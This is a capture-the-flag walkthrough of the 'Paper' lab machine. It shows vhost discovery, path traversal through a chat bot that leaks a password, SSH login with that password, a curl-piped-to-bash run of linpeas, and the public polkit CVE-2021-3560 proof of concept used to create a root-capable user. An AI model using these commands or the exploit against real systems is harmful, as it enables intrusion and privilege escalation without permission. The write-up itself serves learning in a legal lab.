Paper
Recon
HTTP (80)
Dirbusting returned nothing and for Easy box this seemed like impossible 🤔
└─$ feroxbuster -u 'http://10.129.136.31/' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --thorough -n -D -C 404,403,400
└─$ feroxbuster -u 'https://10.129.136.31/' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --thorough -n -D -C 404,403,400 -kDomain
We can try to compare the headers whenever we visit the landing page.
└─$ curl http://10.129.136.31 -I
HTTP/1.1 403 Forbidden
Date: Sat, 21 Dec 2024 09:38:02 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8
└─$ curl https://10.129.136.31 -Ik
HTTP/1.1 403 Forbidden
Date: Sat, 21 Dec 2024 09:38:06 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8HTTP has an extra header X-Backend-Server: office.paper
Update DNS and visit the website
Website is hosted via WordPress and there's 2 potential usernames: Prisonmike and Jan
WordPress
└─$ wpscan --url http://office.paper/
Version 3.8.25
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| - X-Powered-By: PHP/7.2.24
| - X-Backend-Server: office.paper
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] WordPress readme found: http://office.paper/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-04).
| Found By: Rss Generator (Passive Detection)
| - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
| - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
[+] WordPress theme in use: construction-techup
| Location: http://office.paper/wp-content/themes/construction-techup/
| Last Updated: 2022-09-22T00:00:00.000Z
| Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
| [!] The version is out of date, the latest version is 1.5
| Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
| Style Name: Construction Techup
| Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
| Author: wptexture
| Author URI: https://testerwp.com/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[i] No Config Backups Found.WordPress 5.2.3 Vulnerabilities
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
Internal Chat
http://chat.office.paper/register/8qozr226AhkCHZdyY
It didn't like the @ in username so we are test02.office.paper
> recyclops list sale
< List the `/home/dwight/sales/` directory
> recyclops list ../
< List the `/home/dwight/` directory
> recyclops file ../.hubot_history
Read file
> recyclops file ../hubot/.env
Get env // Is leaked from reading *.sh filesexport ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1SSH (22)
dwight owns this bot so we can try to auth as him.
└─$ sshpass -p 'Queenofblad3s!23' ssh dwight@office.paper
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ id
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)Creds:
dwight:Queenofblad3s!23
User.txt
[dwight@paper ~]$ cat user.txt
9973c45dc5e852e5810b74331f8668caPrivilege Escalation
[dwight@paper ~]$ sudo -l
[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.Enumerate with linpeas
[dwight@paper ~]$ curl 10.10.14.123/lp.sh|bash|tee /tmp/lp.log
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.29
╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
/home/dwight/.local/bin:/home/dwight/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin
...
Vulnerable to CVE-2021-3560 # Orange
...
╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
@reboot /home/dwight/bot_restart.sh >> /home/dwight/hubot/.hubot.log 2>&1
╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/sysinit.target.wants/iscsi.service could be executing some relative path
/home/dwight/hubot/node_modules_bak/hubot/examples/hubot.service
/home/dwight/hubot/node_modules_bak/node_modules.bak/hubot/examples/hubot.service
/home/dwight/hubot/node_modules/hubot/examples/hubot.service
You can\'t write on systemd PATH
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:48320 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 2427/node
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::443 :::* LISTEN -
╔══════════╣ Users with console
dwight:x:1004:1004::/home/dwight:/bin/bash
rocketchat:x:1001:1001::/home/rocketchat:/bin/bash
root:x:0:0:root:/root:/bin/bash
╔══════════╣ Analyzing Rocketchat Files (limit 70)
lrwxrwxrwx. 1 root root 42 Jul 3 2021 /etc/systemd/system/multi-user.target.wants/rocketchat.service -> /usr/lib/systemd/system/rocketchat.service
Environment=MONGO_URL=mongodb://rocket:my$ecretPass@localhost:27017/rocketchat?replicaSet=rs01&authSource=rocketchat
Environment=MONGO_OPLOG_URL=mongodb://rocket:my$ecretPass@localhost:27017/local?replicaSet=rs01&authSource=admin
Environment=ROOT_URL=http://chat.office.paper
Environment=PORT=48320
Environment=BIND_IP=127.0.0.1
Environment=DEPLOY_PLATFORM=rocketchatctl
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x. 1 root root 38K May 11 2019 /usr/bin/fusermount
-rwsr-xr-x 1 root root 78K Aug 18 2021 /usr/bin/chage
-rwsr-xr-x 1 root root 83K Aug 18 2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 43K Aug 18 2021 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 50K Jul 21 2021 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 49K Jul 21 2021 /usr/bin/su
-rwsr-xr-x 1 root root 33K Jul 21 2021 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 65K Nov 8 2019 /usr/bin/crontab
-rwsr-xr-x 1 root root 33K Apr 6 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rws--x--x 1 root root 33K Jul 21 2021 /usr/bin/chfn ---> SuSE_9.3/10
-rws--x--x 1 root root 25K Jul 21 2021 /usr/bin/chsh
-rwsr-xr-x. 1 root root 61K May 11 2019 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
---s--x--x 1 root root 162K Oct 25 2021 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 34K May 11 2019 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 12K Nov 8 2021 /usr/sbin/grub2-set-bootflag (Unknown SUID binary!)
-rwsr-xr-x 1 root root 12K May 7 2021 /usr/sbin/pam_timestamp_check
-rwsr-xr-x 1 root root 37K May 7 2021 /usr/sbin/unix_chkpwd
-rws--x--x 1 root root 45K Aug 27 2021 /usr/sbin/userhelper
-rwsr-xr-x 1 root root 196K Jul 30 2021 /usr/sbin/mount.nfs
-rwsr-xr-x. 1 root root 18K May 11 2019 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-x--- 1 root dbus 63K May 8 2021 /usr/libexec/dbus-1/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 17K Dec 21 2021 /usr/libexec/qemu-bridge-helper (Unknown SUID binary!)
-rwsr-x--- 1 root 973 58K Sep 10 2021 /usr/libexec/cockpit-session (Unknown SUID binary!)
-rwsr-x--- 1 root sssd 161K Dec 21 2021 /usr/libexec/sssd/krb5_child (Unknown SUID binary!)
-rwsr-x--- 1 root sssd 96K Dec 21 2021 /usr/libexec/sssd/ldap_child (Unknown SUID binary!)
-rwsr-x--- 1 root sssd 25K Dec 21 2021 /usr/libexec/sssd/proxy_child (Unknown SUID binary!)
-rwsr-x--- 1 root sssd 55K Dec 21 2021 /usr/libexec/sssd/selinux_child (Unknown SUID binary!)
-rwsr-xr-x 1 root root 21K Feb 2 2021 /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper (Unknown SUID binary!)
-rwsr-xr-x 1 root root 13K Jun 10 2021 /usr/libexec/Xorg.wrapLinpeas seems positive about CVE-2021-3560 so let's check it out.
CVE-2021-3560-Polkit-Privilege-Esclation
└─$ curl -LOs https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/refs/heads/main/poc.sh
└─$ sshpass -p 'Queenofblad3s!23' scp ./poc.sh dwight@office.paper:/tmp/poc.sh
[dwight@paper ~]$ chmod +x /tmp/poc.sh
[dwight@paper ~]$ /tmp/poc.sh
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
id: ‘secnigma’: no such user
[x] Insertion of Username failed!
[!] Aborting Execution!
[!] Usually multiple attempts are required to get the timing right. Try running the exploit again.
[!] If the exploit doesn\'t work after several tries, then you may have to exploit this manually.
[dwight@paper ~]$ /tmp/poc.sh -u=letmein -p=letmein
[!] Username set as : letmein
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username letmein...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username letmein with UID 1006!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - letmein
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
PoC failed on the first try, but worked on second.
[dwight@paper ~]$ su - letmein
Password: letmein
[letmein@paper ~]$ id
uid=1005(letmein) gid=1005(letmein) groups=1005(letmein),10(wheel)
[letmein@paper ~]$ sudo -l
[sudo] password for letmein: letmein
Matching Defaults entries for letmein on paper:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User letmein may run the following commands on paper:
(ALL) ALL
[letmein@paper ~]$ sudo su
[root@paper letmein]# id
uid=0(root) gid=0(root) groups=0(root)Root.txt
[root@paper letmein]# cat /root/root.txt
68a91db92c143f9369ddb07890b0ba4dLast updated